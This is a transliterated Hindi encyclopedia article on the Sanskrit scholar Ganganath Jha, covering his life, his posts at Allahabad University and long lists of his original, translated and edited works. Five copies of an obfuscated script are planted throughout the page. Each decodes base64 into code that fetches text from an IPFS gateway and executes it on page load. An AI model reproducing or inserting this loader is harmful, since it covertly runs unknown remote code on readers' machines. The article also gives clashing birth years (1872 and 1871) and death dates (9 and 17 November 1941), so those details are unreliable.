गंगानाथ झा

भारत डिस्कवरी प्रस्तुति
Jump to navigation Jump to search
The printable version is no longer supported and may have rendering errors. Please update your browser bookmarks and please use the default browser print function instead.
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
ganganath jha
poora nam ganganath jha
janm 25 disambar, 1872
janm bhoomi mithila (bihar)
mrityu 9 navambar, 1941
mrityu sthan ilahabad, uttar pradesh
karm bhoomi bharat
mukhy rachanaean katipayadivasodgamapraroh:, bela mahatmyamh, bhakti kallolini, bhavabodhini, vaisheshikadarpan, nyayaprakash, kavirahasy adi
bhasha hindi, aangrezi, sanskrit aur maithili bhasha
vishesh yogadan inaka sabase b da yogadan sanskrit ke mahattvapoorn prachin granthoan ka aangrezi bhasha mean anuvad kary raha hai.
nagarikata bharatiy
any janakari 18 varsh ki umr mean hi sanskrit mean ek padyatmak granth likhakar apane apani pratibha pradarshit kar di thi.

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

ganganath jha (aangrezi: Ganganath Jha, janm: 25 disambar 1872 – mrityu: 9 navambar 1941) sanskrit bhasha ke prakand pandit the. inhoanne hindi, aangrezi aur maithili bhasha mean darshanik vishayoan par uchch koti ke maulik granthoan ki rachana ki hai. inake anek smarakoan mean ilahabad vishvavidyalay ka 'ganganath jha risarch ianstityoot' (sthapit 17 navanbar, 1943) pramukh hai.

jivan parichay

ganganath jha ka janm mithila (bihar) ke ek gaanv mean 1871 ee. mean hua tha. sanskrit ki uchch shiksha inhoanne kashi ke do prasiddh vidvanoan se grahan ki thi. inhoanne kashi ke hi kvins k aaulej se pashchaty pranali ki shiksha bhi grahan ki thi. 18 varsh ki umr mean hi sanskrit mean ek padyatmak granth likhakar apane apani pratibha pradarshit kar di thi. inaka sabase b da yogadan sanskrit ke mahattvapoorn prachin granthoan ka aangrezi bhasha mean anuvad kary raha hai. inake is mahattvapoorn kary se bharat ke prachin jnan se pashchim ke vidvanoan ko parichit hone ka avasar mila. ‘poorv mimaansa ke 'prabhakaramat’ par shodh prabandh likhakar ilahabad vishvavidyalay mean sanskrit ka adhyapan kary kiya aur phir banaras sanskrit k aaulej ke pradhanachary bane. 1923 mean apako ilahabad vishvavidyalay ka upakulapati banaya gaya, yahaan par yah 1932 tak is pad par rahe. kuchh samay ke lie ap prantiy lejisletiv kauansil ke sadasy bhi manonit kie ge the. apane 'hindi sahity sammelan' ka sabhapatitv bhi kiya tha. 17 navambar, 1941 ko apaka dehant ho gaya.

kritiyaan

18 varsh ki avastha se amaran (1941 ee.) sarasvati ki aradhana karate hue ganganath jha ne apani nimnaankit kritiyoan dvara maithili, hindi, sanskrit aur aangrezi ko chirrrini banaya hai:

maulik rachanaean

sanskrit mean
  • katipayadivasodgamapraroh:
  • bela mahatmyamh
  • bhakti kallolini
  • bhavabodhini
  • khadyot (vatsyayan nyay bhashy tika)
  • mimaansamandanamh
  • prabhakarapradip.
hiandi mean
  • vaisheshikadarpan
  • nyayaprakash
  • kavirahasy
  • patana yoonivarsiti ridaraship lekchars aaun hiandoo l aau.
maithili mean
  • vedaantadipika
aangrezi mean
  • prabhakar skool aauv poorvamimaansa
  • sadholal lekchars aaun nyay
  • philas aauphikal disiplin (kamala lekchars, kalakatta yoonivarsiti)
  • hidoo l aau in its sorsej (2 bhag)
  • shankarachary aiand hiz vark f aaur d aplipht aauv d kantri
  • poorvamimaansa aauv jaimini.

anoodit rachanaean

  • vijnan bhikshu ka yogasarasangrah
  • mammat ka kavyaprakash
  • vachaspatimishr krit saankhyatatvakaumudi
  • shaankar bhashy chhaandogyopanishath
  • shlokavartik kumaril
  • yogasootrabhashy vyas
  • tarkabhasha keshav mishr
  • kavyalankaravriti vamanakrit
  • khandanakhandakhady
  • advaitasiddhi:
  • madhusoodan sarasvati
  • vidyaranyakrit vivaranaprameyasangrah
  • nyasasootrabhashy aur vartik 4 khand
  • prashastapadabhashy nyayakandali sahit
  • jaiminiy poorvamimaansa sootr
  • medhatithi-sabhashy manusmriti
  • tantravartik kumaril
  • mimaansa sootr bhashy: shabar
  • tatvasangrah: shaantarakshit
  • vivad chitapani: vachaspati mishr.

sanpadit (sanskrit)

  • kavikarapatika shankar kavi
  • prayashchitt kadanb (gopal nyayapanchanan) panchikaran savartik: shankarachary
  • vivaran aur tatvachandrika amritoday: apadev
  • vadi vinod: shankar mishr
  • bhavanavivek: mandan mishr
  • nyayakalika: jayantabhatt
  • nyayasootr jalashayotsargapaddhati
  • tantraratn
  • manubhashy-medhatithi.


panne ki pragati avastha
adhar
prarambhik
madhyamik
poornata
shodh

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

tika tippani aur sandarbh

sharma, liladhar bharatiy charit kosh (hindi). bharat diskavari pustakalay: shiksha bharati, dilli, prishth 212.

sanbandhit lekh

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>


varnamala kramanusar lekh khoj

a   a    i    ee    u    oo    e    ai    o   au    aan    k   kh    g    gh    n    ch    chh    j    jh    n    t    th    d   dh    n    t    th    d    dh    n    p    ph    b    bh    m    y    r    l    v    sh    sh    s    h    ksh    tr    jn    rri    rri    aau    shr   aah



<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>